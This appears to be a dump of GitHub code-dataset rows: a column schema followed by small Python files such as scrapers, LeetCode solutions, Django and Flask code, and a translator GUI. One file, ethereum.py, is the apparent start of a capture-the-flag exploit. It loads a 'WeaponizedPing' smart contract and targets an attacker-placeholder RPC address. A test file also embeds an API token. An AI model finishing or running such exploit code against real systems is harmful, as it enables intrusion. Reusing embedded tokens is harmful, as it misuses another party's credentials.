blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
220 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
257 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
e310d84ef134fa90d02ddbcb43eb4159e92125c2
7d4597b6f9b631dd1f91059a4d904d2847e29a9c
/offerSpider/spiders/saveon.py
b9e4eb0faa58041584990acba2c7d8d25a7d856e
[]
no_license
lychlov/offerSpider
6efc1b47e235902252ad0534f916d7f0baa49d00
8559ae3c65538d365aa11598d1070a4eadc82a1f
refs/heads/master
2020-03-23T14:42:41.796002
2019-01-24T03:20:51
2019-01-24T03:20:51
141,694,389
0
0
null
null
null
null
UTF-8
Python
false
false
4,760
py
# # -*- coding: utf-8 -*- # import re # # import requests # import scrapy # from bs4 import BeautifulSoup # # from offerSpider.util import get_header # from offerSpider.items import CouponItem # # # class SaveonSpider(scrapy.Spider): # name = 'saveon' # allowed_domains = ['saveoncannabis.com'] # start_urls ...
[ "czk499658904@126.com" ]
czk499658904@126.com
3542a1d22ffb90d42890a2431d8e4b98643f59ec
4fe4f712cb49f872ae9e35777a47a53290715741
/authors_hse.py
6d878d3c7fec402d977da1a1ee52137102218fe3
[]
no_license
koo2018/liblist
601cd62827a924f8368d39bd67d18a14a6b3c7de
c7133d4e17a73daf3b75c2a5674f45109ac9edeb
refs/heads/master
2022-12-19T06:11:54.300114
2020-09-17T15:04:21
2020-09-17T15:04:21
286,531,555
0
0
null
null
null
null
UTF-8
Python
false
false
731
py
import json,re files = ['origins/mediacom_academ.txt','origins/mediacom_creative.txt','origins/jour_academ.txt','origins/jour_creative.txt', 'origins_new/allbooks.txt','origins_new/mediacom.txt','origins_new/jour.txt'] # Читаем словарь из файла with open('data.json', 'r') as f: data = json.loads(str(f.re...
[ "kookoondra@gmail.com" ]
kookoondra@gmail.com
8a2298a365b556a735933c0a51bd7af1d2150fa2
6061f1ce64586340c6362226cebac321d0dd9499
/FizzBuzzer/fizzbuzz.py
92374a8e7ad08ee82300c93500cf000655d4a018
[]
no_license
work777/FizzBuzz
4381ff30c6d69e1842d783f5f7c93b13623fa3a4
dbf9aef4be2fc70209f6c75c743a4667424173a4
refs/heads/master
2020-05-22T22:48:24.097378
2017-03-15T14:32:06
2017-03-15T14:32:06
84,731,965
0
0
null
null
null
null
UTF-8
Python
false
false
725
py
# FizzBuzz Game colorgreen = "\033[1;32m{0}\033[00m" a = int(raw_input("Please insert number between 1 and 100: ")) while a < 1 or a > 100: if a < 1: print "number lower than minimum amount (1)" if a > 100: print "number exceeding maximum amount (100)" a = int(raw_input("Please ins...
[ "andy911@gmx.com" ]
andy911@gmx.com
3655a1d7009c58072673e92b9dcc169dbed6d245
bcbcd360967d9f79ef542ead5b30de42ec61b2d3
/code_v1_recovered/Unigrams/top100LinksPerCom.py
4a2b7812a4374ffdf8f5fa87ecf736bcdf22e711
[]
no_license
Roja-B/EvolvingComs
d00b30576e6b8977ce1be0c6317155bfeb711806
b58fa29972d9aad095ed0f364b1e0ec876b9b6c5
refs/heads/master
2020-04-14T18:30:48.657243
2013-02-11T05:54:16
2013-02-11T05:54:16
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,233
py
import operator import sys from noLow import * # this program produces the list of top 100 links per community based on the Chi-squared table for each time window #PATH = raw_input('Enter data path: ') #M = int(raw_input('Enter the number of communities: ')) #tablefilename = raw_input("Enter file name: ") pathfile = ...
[ "roja@ucla.edu" ]
roja@ucla.edu
76dc1400b29bc1a620d6aa9777f6190b1f171f74
9e06099975a9ed25758af8bc99924b1603ab738f
/medium/p55_jump_game.py
7b00f1c18c871bf5c80bfdd61e1e48b85f047c3d
[]
no_license
Yohan923/leetcode_python
803a76f04c9cd3ce35d2ea1b0ce101a76d5718a2
b2043827840e4fb380901406537f80adb1a1d190
refs/heads/master
2020-03-30T20:16:48.656432
2019-09-25T13:11:14
2019-09-25T13:11:14
151,581,314
0
0
null
null
null
null
UTF-8
Python
false
false
990
py
""" Given an array of non-negative integers, you are initially positioned at the first index of the array. Each element in the array represents your maximum jump length at that position. Determine if you are able to reach the last index. """ GOOD = True class Solution: # time limit # DP bottom up def c...
[ "johnz0923@gmail.com" ]
johnz0923@gmail.com
057c68d069a43d8f9a58ad6455d49dee7e050db9
91056388c845468e0eb2acba3f605c8e57c8e789
/0/hello-student.py
a27ac0d03645073b11192027b1b3111dc2b387b5
[]
no_license
skopjehacklab/programming-101-exercises
96dde61dfff76e0bc90ab259895d16bb877ec487
c306f2969ee34d2771cd0247db2317636a8b729a
refs/heads/master
2021-01-10T19:23:21.766724
2015-11-11T17:55:29
2015-11-11T17:55:29
42,821,254
6
17
null
2015-10-19T18:04:39
2015-09-20T17:00:37
Python
UTF-8
Python
false
false
24
py
print("Hello student!")
[ "andrejtrajchevski@gmail.com" ]
andrejtrajchevski@gmail.com
7c6e69f50efaff6c5df3cda141705dc27ef4c624
617b08a3f7c84cc76ac18cd241c3c45d2e21f6dd
/tests/test_mapper.py
93d9b9e177d6bbcdc72f1734c9af9d838ca2101b
[]
no_license
talhahkazi93/projects
6cbe3f5819a459be2b462935ea5560fedf7341ca
ab46ab8572d10787a298ea5d5e57a379ff58c4a4
refs/heads/main
2021-10-08T12:59:18.484677
2021-10-04T03:50:12
2021-10-04T03:50:12
141,942,615
0
1
null
null
null
null
UTF-8
Python
false
false
993
py
import string from mapper.mapper import create_map,create_markers,list_markers,edit_markers import random Baseurl = 'https://cartes.io/' test_map_id = "bc105f33-f83b-4eab-89e3-30288c3f2ce9" test_marker_id = '1431' test_marker_token = "7muIXhEHClVrhEtWj1BpBhpYHV213TRv" test_longitute = random.randrange(-179,179) test_l...
[ "34499780+talhahkazi93@users.noreply.github.com" ]
34499780+talhahkazi93@users.noreply.github.com
61eface07e2a27ae86d3c33097cb278cffe65e4f
a6d45b7b0caccc92dd7b0d2cc352498a32f5a181
/uploader/migrations/0001_initial.py
52eaec7d149d4ac8deb876b1956156002064a661
[]
no_license
suhailvs/djangofileupload
e149e27b085f18f69c61074039e08a9c74283ca2
40b73cdf5c50bd44a4956ec70cf52d4c358f58c2
refs/heads/master
2023-03-23T17:34:53.077721
2020-04-20T16:09:29
2020-04-20T16:09:29
20,531,971
9
2
null
null
null
null
UTF-8
Python
false
false
565
py
# Generated by Django 3.0.5 on 2020-04-20 15:29 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Upload', fields=[ ('id', models.AutoField(a...
[ "suhailvs@gmail.com" ]
suhailvs@gmail.com
13fddff98ac344fe3f4a0b18d5c637d314a4e750
ad657deade0385f6426c1b8abbe73349b7963eab
/modelo/Tarjeta.py
2e19cfc2546c2365c48b7a80a46c4dcc72382642
[]
no_license
andres2508/SimonController
436c7ccbdc3b9b8a11a5e2bc931c7800f459bd06
37e4060de3f1f12c6acd55dad4100fff69ea2df9
refs/heads/master
2021-01-10T13:48:38.072856
2016-03-02T19:35:17
2016-03-02T19:35:17
43,324,100
0
0
null
null
null
null
UTF-8
Python
false
false
3,890
py
__author__ = 'Andres' import SocketServer import socket # from modelo import Medicion import Medicion import threading import json import os import urllib2 class Tarjeta: ##--------------------------------------------------------------------------------- ## Constructor ##--------------------------------...
[ "jaime.aristizabal.2508@gmail.com" ]
jaime.aristizabal.2508@gmail.com
8405b0d28ef4de717b23a6316d12d896d87bf050
3f348ca2d86f7a272f4eaaa15327066f37478737
/MySigma_4.py
34ecb7d197c7576774e90f52ea712e6f83462c43
[]
no_license
christinaengg/Two-sigma-connect-Rental-Listing-Inquiries
a04995c33e43ebc71a99302547508d72693e0fe1
7d5f8f9d464ff006a2c34666df5237fe4b8fec8f
refs/heads/master
2021-01-20T08:33:35.044965
2017-05-03T01:41:16
2017-05-03T01:41:16
null
0
0
null
null
null
null
UTF-8
Python
false
false
9,898
py
import numpy as np import pandas as pd #Import train and test json files as dataframes train_df = pd.read_json(open("train.json", "r")) test_df = pd.read_json(open("test.json", "r")) #print(train_df.tail()) #Data Exploration train_df.describe() test_df.describe() #Take out outliers for bedrooms, bathr...
[ "noreply@github.com" ]
christinaengg.noreply@github.com
cdb79ea8caba3f6c50aa01864708c24b7b86a2c7
bd7ce346d7579ab7699de7cc49e27fe6df8a8897
/Aeroporto/Classes/VendaPassagem.py
6d631cd3076b3d57df7afe83ec36b53ab751af4d
[]
no_license
MatheusEmanuel/aeroporto-atv-poo
23978311c012e34199dbec14e67716c1dab6d418
e8a9187952fac92fb34087ceed6d4f932ead09af
refs/heads/main
2023-08-29T11:42:20.339003
2021-09-15T20:56:55
2021-09-15T20:56:55
304,124,888
0
0
null
null
null
null
UTF-8
Python
false
false
2,155
py
#Author: Matheus Emanuel Cincinato Pinto #coding: utf-8 from Passageiro import Passageiro from Passagem import Passagem from Companhia import Companhia_Aerea from TipoVoo import VooTipo class Venda_de_Passagem(Passageiro,Passagem,Companhia_Aerea,VooTipo): def __init__(self): self._Definir_Companhia() ...
[ "matheus_cincinato@hotmail.com" ]
matheus_cincinato@hotmail.com
a1110aec6eae56b65bf086881a86a5462e6ae5c8
0aea301f1a9ae329302865ffcd86cccdec3ba358
/ultimate translator 1.0.py
4899df658190f6adb739f024d2941d967fd6b578
[]
no_license
abhishekmishramm1997/The-Ultimate-Translator
9cfa76c1dd166ca725f993c4075facfb813a985f
2c8ff7bf8a99dc387bdd3b25c3a493279672c7fb
refs/heads/master
2021-01-20T12:49:34.961844
2017-04-28T09:18:52
2017-04-28T09:18:52
90,412,323
0
0
null
2017-05-05T20:05:15
2017-05-05T20:05:15
null
UTF-8
Python
false
false
4,893
py
from Tkinter import * from gtts import gTTS import os from translate import Translator root = Tk() root.title("The Ultimate Translator") var1 = StringVar(root) var1.set("Choose Language") var2 = StringVar(root) var2.set("Choose Language") var3 = StringVar(root) var3.set("Choose Accent") drop_menu=Option...
[ "noreply@github.com" ]
abhishekmishramm1997.noreply@github.com
a0cebb757575153ad2bb5bc1bdb9c88feeb14741
7deb6623a548af583decbad5b3772611fd051328
/Synonym_Replacer/Paraphraser.py
34bbac7ad224f4ef0a9b811b767bb0844787589e
[]
no_license
lzontar/Text_Adaptation_To_Context
a77aa4a16849c30363949964ca351cebbdbf7772
c87cba96bd10528bcf709d0b8a0a1991a82aec8a
refs/heads/master
2022-12-10T21:28:41.314416
2020-08-23T18:54:34
2020-08-23T18:54:34
287,771,498
3
0
null
null
null
null
UTF-8
Python
false
false
3,924
py
import re import Text_Characteristics.Text_Characteristics as tc import torch from transformers import T5ForConditionalGeneration, T5Tokenizer import Common.library.Common as com def adapt_complexity_and_polarity(model, tokenizer, device, adaptation_dto, mean_measures, n_iterations, epsilon, text_characteristics, deb...
[ "zontarluka98@gmail.com" ]
zontarluka98@gmail.com
7e2974f9de7a5d5e34105cf131643c825f8338db
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02991/s030157837.py
6e3b67de9db4e8ee071c1c288612c95cbf324ab6
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
758
py
import sys input = sys.stdin.buffer.readline from collections import deque def main(): N,M = map(int,input().split()) edge =[[] for _ in range(N)] for _ in range(M): u,v = map(int,input().split()) edge[u-1].append(v-1) S,T = map(int,input().split()) q = deque() go = [[False for...
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
3cf805eebecd42487d997e568974b7ddd8ac7f4e
13de6b83b73c46b8221739edb21594bbc3784879
/simblefaron/utils/tests/test_get_test_data.py
361367c8d378c2930c83f983b1dc1702158e05f3
[]
no_license
I2Cvb/simblefaron
fc068b2d41ffa88c5b67e3c3ae6dd637db868d25
053906292b2ab21a76387d519de3043f27ed3bed
refs/heads/master
2021-01-19T05:20:28.144042
2016-06-30T14:46:29
2016-06-30T14:46:29
61,811,381
0
1
null
2016-06-30T14:46:31
2016-06-23T14:25:26
Python
UTF-8
Python
false
false
316
py
"""Test the module get_test_data.""" from __future__ import print_function from simblefaron.utils import Get_test_data def test_pipeline(): """Test the get_test_data function. .. todo:: ensure that the download and unencripted data has the right SHA1 """ print('Test Get_test_data')
[ "sik@visor.udg.edu" ]
sik@visor.udg.edu
996339b2d5f97720cb4f6779affdae2d70fef420
d8cbc94a4207337d709a64447acb9c8fe501c75a
/subset_selection/code/cli.py
54738e4db5034a5f1e4316b6792e9c41b4e53b4e
[ "MIT" ]
permissive
sripathisridhar/acav100m
6f672384fa723a637d94accbbe11a9a962f5f87f
13b438b6ce46d09ba6f79aebb84ad31dfa3a8e6f
refs/heads/master
2023-09-06T01:05:21.188822
2021-11-18T08:08:08
2021-11-18T08:08:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,111
py
import time import datetime from pathlib import Path import fire from args import get_args from run import run_single from run_contrastive import run_single_contrastive from chunk import run_chunks, reduce_all_pkls from chunk_contrastive import run_chunks_contrastive from save import merge_all_csvs from merge_contras...
[ "sangho.lee@vision.snu.ac.kr" ]
sangho.lee@vision.snu.ac.kr
7d0bb2145b682a56819a8dc7a30bc7d8561baf3c
2efbd900dd39b2acd255b7ea9d6a7cc7d1a88b8b
/ethereum.py
dcd0360f3ee29a2ce8fc589cc9a6e428cfcc5dd1
[]
no_license
dyloot43/web3
c51a6d5a6c72c27f06686b2a6b6deef0ba770e26
cda807ef662ffb9e67fcb1a78f14449331d8ff6e
refs/heads/master
2020-07-18T09:39:31.484065
2019-09-04T03:31:10
2019-09-04T03:31:10
206,223,549
1
1
null
null
null
null
UTF-8
Python
false
false
926
py
from web3 import Web3 import json with open('address.txt') as fh: address = fh.read().replace('\n','') with open('WeaponizedPing.json') as fh: contractData = json.load(fh) rpcURL = 'http://ATTACKIPADDRESS:PORT/' w3 = Web3(Web3.HTTPProvider(rpcURL)) w3.eth.defaultAccount = w3.eth.accounts[0] contract = w3.et...
[ "noreply@github.com" ]
dyloot43.noreply@github.com
963c167d44a02ee7f19c26dbeba47a51b216ea2b
0acd8226bb830f291acc5f9ee24b5ef04c51b401
/pythons/syn/main.py
1560acf1ff80e2ca178c8c9270f889a5a1e13d67
[]
no_license
jiafangtao/web_programming
f97eb884487afdbe5a0477f7b54d36546ce670db
33f8943c91330c30677aa0518f21eb823441e344
refs/heads/master
2023-08-31T18:11:45.335547
2023-08-08T06:36:44
2023-08-08T06:36:44
90,827,978
0
0
null
2023-08-08T06:36:45
2017-05-10T06:19:59
JavaScript
UTF-8
Python
false
false
750
py
class SomeType(object): typeName = "Some Fancy Type" @classmethod def change_type_name(cls, new_type_name): print("<debug> I want to know the original class variable '{}'".format( cls.typeName)) cls.typeName = new_type_name print('typeName was changed to "{}"'.format(cl...
[ "bruce.jia@autodesk.com" ]
bruce.jia@autodesk.com
05cc7ee1f93c729b0070292a6f1440ac972ef77d
ae2eafa1c12fa86ab615f9a6ae9fd1b29097d842
/urlspider/urlspider/pipelines.py
50bb10682711607335a524f3038d3e35cebff5a3
[]
no_license
StarryPath/urlspider--v2.0
44b99c8fabbee12a3ff9c78a536c6fc4799f0e12
f731fd8520ac62afb086dcee5d171b655da7bee0
refs/heads/master
2021-08-23T20:19:56.065838
2017-12-06T11:17:05
2017-12-06T11:17:05
113,306,486
0
0
null
null
null
null
UTF-8
Python
false
false
1,627
py
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html from scrapy import signals import json import codecs from twisted.enterprise import adbapi from datetime import datetime from ha...
[ "noreply@github.com" ]
StarryPath.noreply@github.com
8682d297b669ec8bf068024bf83d1af0809f578d
1d44dde530578dade69f004c5828e31eee28cb55
/questions/urls.py
1ed06151fa2e7fc4cb3cb03915d105509f8997b1
[]
no_license
SmartFastSolution/socialprojectupse
98fe15c6d6499356bce32e8b25a1139a6c31b535
d0fcecdf6bd033836952af400cb4b54a485f21b8
refs/heads/master
2023-07-19T03:57:45.261985
2021-08-26T19:08:27
2021-08-26T19:08:27
385,042,719
0
0
null
null
null
null
UTF-8
Python
false
false
295
py
from django.urls import path from .views import QuestionView,ResultView,ReportView from questions import views urlpatterns = [ path('',QuestionView.as_view(),name="q_list"), path('result/', ResultView.as_view(), name='result'), path('report/', ReportView.as_view(), name='report') ]
[ "70552382+SmartFastSolution@users.noreply.github.com" ]
70552382+SmartFastSolution@users.noreply.github.com
4bb0c78ca364137100e6cdc76d895a163a064c7e
323721fbefefb26c4b61fec63c29ee7e0f2ce83d
/seolog/article/models.py
6d1fc43da6b108b755709e684ce059d2eb964c70
[]
no_license
asghara04/seolog
4fa52febf2ffb7e7a3c7b1e3ff50c6870abaf57f
c80925221d6aa45f239ef7f28565876b7b9eb33f
refs/heads/master
2023-06-26T09:15:32.777179
2021-07-05T18:06:14
2021-07-05T18:06:14
379,360,773
1
0
null
null
null
null
UTF-8
Python
false
false
799
py
from django.db import models from django.contrib.auth.models import User class Article(models.Model): title = models.CharField( max_length=250, verbose_name="title" ) slug = models.SlugField( max_length=250, verbose_name="slug", unique=True ) image = models.ImageField( upload_to="Article Images/%Y/%m"...
[ "asgharale2021@gmail.com" ]
asgharale2021@gmail.com
ab2476f61c29443a074f4e51a9e0c5e84be187ce
1d8d77e2eaff30218d4c04cc50e051540bed9624
/train.py
c1ba0004705fb6e347c1a49a83f9e0b2aabd8d87
[ "MIT" ]
permissive
anoop600/Traffic-Sign-Analysis-CNN
42c91253a7de35990412bf09f6ae9838ab690536
a2a81cc0e31f5beec3992b9a5f38d462390da2b6
refs/heads/master
2020-03-26T09:29:10.833778
2018-08-14T17:24:13
2018-08-14T17:24:13
144,751,061
1
0
null
null
null
null
UTF-8
Python
false
false
13,207
py
#!/usr/bin/env python # # Self-Driving Car # # ## CNN Based Traffic Sign Recognition Classifier # ########################DISABLE TENSORFLOW WARNING############### import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' ################################################################# #########################DATABASE#...
[ "anoop.jain10@gmail.com" ]
anoop.jain10@gmail.com
7ba8883b6f3aaf6ba8363fae014f52cb60c0c1e6
5962cf5c30d69b4b57d2ec598e11c3a81c6df083
/old/bokeh_test.py
da0f6baf6bf94ea0b5d50813736a240e7fb2c59d
[]
no_license
sergeimoiseev/othodi_code
1584f4006c2bddd8ddbbc6e7439b782c1f93c313
87f11374fc1f332752d426af4e047306aefcbd81
refs/heads/master
2021-01-10T04:17:45.407696
2016-01-26T20:23:59
2016-01-26T20:23:59
48,580,790
0
0
null
null
null
null
UTF-8
Python
false
false
348
py
# to run by anaconda from bokeh.plotting import figure, output_file, show # output to static HTML file output_file("line.html") p = figure(plot_width=400, plot_height=400) # add a circle renderer with a size, color, and alpha p.circle([1, 2, 3, 4, 5], [6, 7, 2, 4, 5], size=20, color="navy", alpha=0.5) ...
[ "moiseev.sergei@gmail.com" ]
moiseev.sergei@gmail.com
24e55b3eef2abf192a91eb4a60e24d8054fbe7e2
3136d9d701ac77d252e277e5acad470b0ca8deb0
/Spider/jsonspider/jsonspider/spiders/MySpider.py
4617a4da54f64c1373365916dc7a2a2f7f30f6d3
[]
no_license
ahathe/scrapy-project-from-python
6947f43b97ac37f6749ddc96d42500e038f64a58
f68890764145badca7e5897353100cf54e8dfa92
refs/heads/master
2021-06-23T00:28:16.145088
2017-09-05T00:34:30
2017-09-05T00:34:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
436
py
#!/usr/bin/env python import scrapy class MySpider(scrapy.Spider): name = 'MySpider' start_urls = [ 'http://www.meitulu.com/item/3583.html', ] def parse(self,response): for each in response.xpath('//center//img'): yield { 'jpg':each.xpath('@src').extract() } next_page = response.xpath('//...
[ "1136334598@qq.com" ]
1136334598@qq.com
74fd5c72a4cf6b86e44f4ce27f4c5ce2a46d3f83
b7dd43c7c22b46ea752b9f27556a0bc2785c4db5
/SnapDragon/PyScripts/_2.py
fce9d9fa954f8392ec239d76045ca313f1f04d52
[]
no_license
Visin1991/Python_DataAnalysis
ed3a264da2055308d05baa74265d2e8a4880fead
bfeca765df0c2b6c3ad5dd01160c14b56d6cd616
refs/heads/master
2020-11-29T07:21:24.029111
2019-12-25T12:53:53
2019-12-25T12:53:53
230,056,438
0
0
null
null
null
null
UTF-8
Python
false
false
796
py
import tkinter as tk from tkinter import ttk #====================== # Create instance #====================== win = tk.Tk() #====================== # Add a title #====================== win.title("Python GUI") #============================================================= # Adding a LabelFrame and a Button #=====...
[ "zhuzhanhao1991@gmail.com" ]
zhuzhanhao1991@gmail.com
9775bc6bd071f66fbb05d218a99381b23510f116
be73248aa4f1171e81b65cf955c4bd6110d56095
/request_test.py
353ec800d3b9bd9c0e3797743ad8a33355ced72f
[]
no_license
rogerhoward/lambot
781c158e58bd71e2f3eb480aab31f181aee55e62
d5588041fc92b779ba88479d8657f9b8a4916692
refs/heads/development
2022-02-18T05:03:23.911978
2017-06-22T03:22:11
2017-06-22T03:22:11
86,493,856
1
1
null
2022-02-04T15:04:55
2017-03-28T18:30:43
Python
UTF-8
Python
false
false
2,137
py
#!/usr/bin/env python import os import requests from pprint import pprint import click @click.command() @click.option('--token', default='gIkuvaNzQIHg97ATvDxqgjtO', help='Slack API token.') @click.option('--team_id', default='T0001', help='The unique Slack team ID') @click.option('--team_domain', default='example', he...
[ "rogerhoward@mac.com" ]
rogerhoward@mac.com
7fd4b8acc7c9c38677a8256d3556db119b6fe7c8
eb9f655206c43c12b497c667ba56a0d358b6bc3a
/python/testData/create_tests/create_tst_class.expected_pytest_2k.py
327ec499b4f492f406f449db0fb397764f8ae8eb
[ "Apache-2.0" ]
permissive
JetBrains/intellij-community
2ed226e200ecc17c037dcddd4a006de56cd43941
05dbd4575d01a213f3f4d69aa4968473f2536142
refs/heads/master
2023-09-03T17:06:37.560889
2023-09-03T11:51:00
2023-09-03T12:12:27
2,489,216
16,288
6,635
Apache-2.0
2023-09-12T07:41:58
2011-09-30T13:33:05
null
UTF-8
Python
false
false
111
py
class Spam(object): def eggs(self): assert False def eggs_and_ham(self): assert False
[ "intellij-monorepo-bot-no-reply@jetbrains.com" ]
intellij-monorepo-bot-no-reply@jetbrains.com
de16d449e03f06649bdd0c13a00277d28cff3652
602b908caf567162845b7ac34afc6beb5969b8c9
/AOC_PY/days/day04.py
3b399dc67b48357bf9699fc9e7ac494631692542
[]
no_license
matusmrazik/AdventOfCode2020
39cae721d1203f9c59740a2bd132abb534f3f952
86d300b9e96ca3a764f1ec7de3f60249f69134d0
refs/heads/main
2023-02-05T02:55:37.463297
2020-12-28T13:51:35
2020-12-28T13:51:35
318,509,664
0
0
null
null
null
null
UTF-8
Python
false
false
2,047
py
import os import re INPUT_PATH = os.path.join(os.path.dirname(__file__), '../../Inputs', 'day04.txt') def validate_field(name: str, value: str): if name == 'byr': return re.match(r'^(19[2-9][0-9]|200[0-2])$', value) is not None elif name == 'iyr': return re.match(r'^(201[0-9]|2020)$', value) ...
[ "matus.mrazik2@gmail.com" ]
matus.mrazik2@gmail.com
c2cd0da87716a6c9fe21cade4cc83fb2007f479d
ebc7607785e8bcd6825df9e8daccd38adc26ba7b
/python/baekjoon/2.algorithm/brute_force/백준_감소하는_수.py
b4b9f0e4b6dd253325d331cce5183803d908e65f
[]
no_license
galid1/Algorithm
18d1b72b0d5225f99b193e8892d8b513a853d53a
5bd69e73332f4dd61656ccdecd59c40a2fedb4b2
refs/heads/master
2022-02-12T07:38:14.032073
2022-02-05T08:34:46
2022-02-05T08:34:46
179,923,655
3
0
null
2019-06-14T07:18:14
2019-04-07T05:49:06
Python
UTF-8
Python
false
false
571
py
import sys def dfs(cur_num, limit): global answer, idx, n, answers # 재귀 종료 if len(cur_num) == limit: idx += 1 answers.append(cur_num) # 정답이 존재 if idx == n: print(cur_num) sys.exit() return if not cur_num: for i in range(10): ...
[ "galid1@naver.com" ]
galid1@naver.com
2f06ed76fa47c4244dbaeecb75147c3f68f79bde
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/29/usersdata/67/9081/submittedfiles/atividade.py
a1a123328be3fb4dd0cf7fd77b88a631cf61ee74
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
213
py
# -*- coding: utf-8 -*- from __future__ import division import math n=int(input("Digite o valor de n:")) contador=0 i=1 while (i<=n): if n//10=!0: contador=contador+1 i=i+1 print(contador)
[ "rafael.mota@ufca.edu.br" ]
rafael.mota@ufca.edu.br
0f2f7ee10782ae1ea20dac49abf367a2909b2920
7578f8752ea9693c9b2bcca1b4f4bddb74ea4c4b
/projector/projections.py
bb0223ddd257c754cf518486cd794b58e3a14024
[ "MIT" ]
permissive
SixiemeEtage/projector
5ade66f8932c5905619518b6df4cf6fc460bd040
6d6b2488322556b1cd71eafc7d784787aca331bd
refs/heads/master
2021-01-19T08:48:41.375749
2019-03-17T13:52:06
2019-03-17T14:06:54
81,648,850
6
1
null
null
null
null
UTF-8
Python
false
false
906
py
import libprojector PROJECTION_EQUIRECTANGULAR = 'equirectangular' PROJECTION_CUBEMAP = 'cubemap' class BaseProj(object): def __init__(self, image_width, options): self.image_width = image_width self.options = options def get_projection(self): raise NotImplementedError class E...
[ "dulacpier@gmail.com" ]
dulacpier@gmail.com
60ca98b589589149ef509f9d010525f46acc8ff8
5e773def7273c9a082392e1980548114f15e5675
/Focalloss.py
25477a475cb72f608dd02c1090ebf41268cefe59
[]
no_license
lihuaqiang0101/Hourglass
77ebbf9faef506492a1949f20766b4c1dce3bc18
32fc92b0d2e889999c4a58eb26726b1f065f85c8
refs/heads/master
2022-10-01T11:47:02.885662
2020-06-05T08:41:41
2020-06-05T08:41:41
269,575,253
0
0
null
null
null
null
UTF-8
Python
false
false
782
py
from torch import nn import torch.nn.functional as F import torch class FocalLoss(nn.Module): def __init__(self, alpha=1, gamma=2, logits=False, reduce=True): super(FocalLoss, self).__init__() self.alpha = alpha self.gamma = gamma self.logits = logits self.reduce =...
[ "noreply@github.com" ]
lihuaqiang0101.noreply@github.com
042e915a0a2df5f868aa3256ebaf6bbfe36e22db
3193bf23c578bbb5373e574fb61e3cd8df1fcd37
/app/main/forms.py
c319d6fe64458b1f16f2665f2cd1a6fc6f550ef4
[]
no_license
chouhui/Flasky
73ceefbe4424428abba895944322efa13604e632
c524fe68a5ced729d3fb6d8e929d30d6d6a32c28
refs/heads/master
2021-09-09T05:51:57.770748
2018-03-14T02:29:30
2018-03-14T02:29:30
125,138,451
0
0
null
null
null
null
UTF-8
Python
false
false
2,259
py
from flask_wtf import FlaskForm, Form from wtforms import StringField, SubmitField, TextAreaField, BooleanField, SelectField, ValidationError from wtforms.validators import DataRequired, Length, Email, Required, Regexp from flask_pagedown.fields import PageDownField from ..models import Role, User class NameForm(Flas...
[ "zhidao666@gmail.com" ]
zhidao666@gmail.com
82d5f0dee74684e1f7e9113adbdd737d287c5172
7b591fa0aa65721bca1761be28959cfb88f1c7ab
/src/AnewSentimentAnalysis.py
68426fbef4337fd863869c65e3495595b76d87f5
[]
no_license
hengee/SentimentAnalysis
a455540bc50393f444814dcb97186c3025ab9449
d8323e89993ff78433c02f5b4b71f3776e948fba
refs/heads/master
2020-06-24T11:27:18.672074
2017-11-10T20:28:43
2017-11-10T20:28:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
9,360
py
""" Author: Doris Zhou Date: September 29, 2017 Performs sentiment analysis on a text file using ANEW. Parameters: --dir [path of directory] specifies directory of files to analyze --file [path of text file] specifies location of specific file to analyze --out [path of directory] ...
[ "noreply@github.com" ]
hengee.noreply@github.com
bf28bb9d66663bbea2f265248247d8092ce07621
1575df2b884ec1a5155ae7f2f8198ca7b9e0ca4a
/client.py
b15847e738c93eb1ee2dbb45292b276614618dfe
[]
no_license
hues-platform/energy-hub-server
cefaea24bea70a3bc0d668ebcad4c5076a2ec950
ae278a9bf121b566b492719056f8c56f5beb2127
refs/heads/master
2021-01-01T18:20:41.779170
2017-07-25T21:33:21
2017-07-25T21:33:21
98,314,028
1
0
null
2017-07-25T21:33:22
2017-07-25T14:15:25
null
UTF-8
Python
false
false
1,034
py
""" An example of remotely solving a EHub Model. """ import json import xmlrpc.client import excel_to_request_format # pylint: disable=all def main(): # We are reading from a excel file as an example file = 'excel_files/General_input_new_simple.xlsx' # Now we convert the excel file into the request form...
[ "infogreytech@gmail.com" ]
infogreytech@gmail.com
46cef7c62e51c1e77f3265fa82b86b6fd7bffc6e
da30c8804c123a0ab862ac89d5fd342caa4079d9
/venv/lib/python3.6/rlcompleter.py
197205cae89ce4a3abc8dfff6ce7fe245cd35951
[]
no_license
wvs2/observatorio
0ebc9dfa1037c028cdcc5232ff07fc437358031d
de14cd04678587bba0cefce2d6335826a626d6f6
refs/heads/master
